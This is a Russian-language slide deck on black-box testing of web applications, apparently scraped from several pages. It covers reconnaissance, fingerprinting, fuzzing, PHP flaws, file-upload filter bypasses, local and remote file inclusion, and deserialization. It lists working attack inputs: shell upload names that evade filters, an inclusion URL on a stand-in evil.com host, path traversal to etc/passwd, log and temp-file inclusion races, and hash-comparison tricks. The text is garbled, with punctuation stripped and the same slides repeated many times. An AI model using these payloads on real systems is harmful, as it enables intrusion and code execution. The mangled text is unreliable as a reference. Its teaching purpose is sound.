bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 8: Blackbox-тестирование веб-приложений

План

bull Первая частьndash Приёмы разведки (reconnaissance)ndash Определение используемых технологийndash (Тихий) сбор информацииndash Быстрый поверхностный анализ (fuzzing)

bull Вторая частьndash Некоторые уязвимости PHPndash Тестирование интерфейсов загрузки файловndash Уязвимости типа file inclusionndash Уязвимости механизмов десериализации

Первые шагиbull Перед Вами веб-приложение Что делать

Первые шаги

Первые шаги

bull Включаем локальный прокси-сервер (Burp Suite OWASP ZAP hellip)

bull Гуляем по сайтуbull Смотрим на запросы в логах прокси-

сервераbull Смотрим на HTTP-заголовки и содержимое

ответов

Главные идеи

bull Полезно прикинуть учитывая полученные данные как бы Вы реализовали имеющийся функционал если бы были разработчиком (взгляд изнутри ящика)

bull А затем подумать какие ошибки Вы могли бы допустить и как их можно проэксплуатировать (взгляд извне ящика)

Распознавание платформbull Веб-серверы часто оставляют подпись в

HTTP-заголовке Serverbull Также есть специфичные запросы

например lsquoa=aampa[]=arsquo который вызывает ошибку 500 в Rack Server

bull Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (php aspx и т д)

Распознавание платформ

bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно

bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных

bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo

Распознавание платформ

bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом

bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework

bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework

bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious

Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt

CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию

установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS

(например у Bitrix)bull Часто название CMS написано в атрибуте generator

HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla

dle_root =gt DataLife Engine wp-content =gt WordPress и т д

Сбор информации

bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip

bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip

bull Перебор файлов и директорий по словарю

Сбор информации

bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql

bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым

Сбор информации

bull Анализ веб-приложения часто осложняется использованием технологий web 20

bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных

bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)

bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL

Сбор информации

bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием

bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413

bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария

Сбор информацииbull Следующим шагом является получение списка

параметров веб-приложения (POST GET Cookie а также заголовки)

bull Их можно угадать исходя из структуры используемых на сайте ссылок

bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск

bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и

размерусодержимому HTTP-ответа

Быстрый fuzzing

bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)

bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя

bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта

Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для

black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество

получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление

универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-

инъекции а также различные виды иных инъекций кода

Быстрый fuzzing

bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д

bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack

bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)

Уязвимости PHP

bull Почему PHP

Почему ломаем PHP

bull Низкий порог вхождения много глупых кодеров с низкопробным кодом

bull Запутанный язык с месивом различным парадигм

bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами

bull bull PROFIT

lt=$question[0]

bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))

header(Location loginphp)require_once includesadminphphellip

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 9: Blackbox-тестирование веб-приложений

Первые шагиbull Перед Вами веб-приложение Что делать

Первые шаги

Первые шаги

bull Включаем локальный прокси-сервер (Burp Suite OWASP ZAP hellip)

bull Гуляем по сайтуbull Смотрим на запросы в логах прокси-

сервераbull Смотрим на HTTP-заголовки и содержимое

ответов

Главные идеи

bull Полезно прикинуть учитывая полученные данные как бы Вы реализовали имеющийся функционал если бы были разработчиком (взгляд изнутри ящика)

bull А затем подумать какие ошибки Вы могли бы допустить и как их можно проэксплуатировать (взгляд извне ящика)

Распознавание платформbull Веб-серверы часто оставляют подпись в

HTTP-заголовке Serverbull Также есть специфичные запросы

например lsquoa=aampa[]=arsquo который вызывает ошибку 500 в Rack Server

bull Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (php aspx и т д)

Распознавание платформ

bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно

bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных

bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo

Распознавание платформ

bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом

bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework

bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework

bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious

Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt

CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию

установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS

(например у Bitrix)bull Часто название CMS написано в атрибуте generator

HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla

dle_root =gt DataLife Engine wp-content =gt WordPress и т д

Сбор информации

bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip

bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip

bull Перебор файлов и директорий по словарю

Сбор информации

bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql

bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым

Сбор информации

bull Анализ веб-приложения часто осложняется использованием технологий web 20

bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных

bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)

bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL

Сбор информации

bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием

bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413

bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария

Сбор информацииbull Следующим шагом является получение списка

параметров веб-приложения (POST GET Cookie а также заголовки)

bull Их можно угадать исходя из структуры используемых на сайте ссылок

bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск

bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и

размерусодержимому HTTP-ответа

Быстрый fuzzing

bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)

bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя

bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта

Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для

black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество

получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление

универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-

инъекции а также различные виды иных инъекций кода

Быстрый fuzzing

bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д

bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack

bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)

Уязвимости PHP

bull Почему PHP

Почему ломаем PHP

bull Низкий порог вхождения много глупых кодеров с низкопробным кодом

bull Запутанный язык с месивом различным парадигм

bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами

bull bull PROFIT

lt=$question[0]

bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))

header(Location loginphp)require_once includesadminphphellip

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 10: Blackbox-тестирование веб-приложений

Первые шаги

Первые шаги

bull Включаем локальный прокси-сервер (Burp Suite OWASP ZAP hellip)

bull Гуляем по сайтуbull Смотрим на запросы в логах прокси-

сервераbull Смотрим на HTTP-заголовки и содержимое

ответов

Главные идеи

bull Полезно прикинуть учитывая полученные данные как бы Вы реализовали имеющийся функционал если бы были разработчиком (взгляд изнутри ящика)

bull А затем подумать какие ошибки Вы могли бы допустить и как их можно проэксплуатировать (взгляд извне ящика)

Распознавание платформbull Веб-серверы часто оставляют подпись в

HTTP-заголовке Serverbull Также есть специфичные запросы

например lsquoa=aampa[]=arsquo который вызывает ошибку 500 в Rack Server

bull Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (php aspx и т д)

Распознавание платформ

bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно

bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных

bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo

Распознавание платформ

bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом

bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework

bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework

bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious

Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt

CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию

установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS

(например у Bitrix)bull Часто название CMS написано в атрибуте generator

HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla

dle_root =gt DataLife Engine wp-content =gt WordPress и т д

Сбор информации

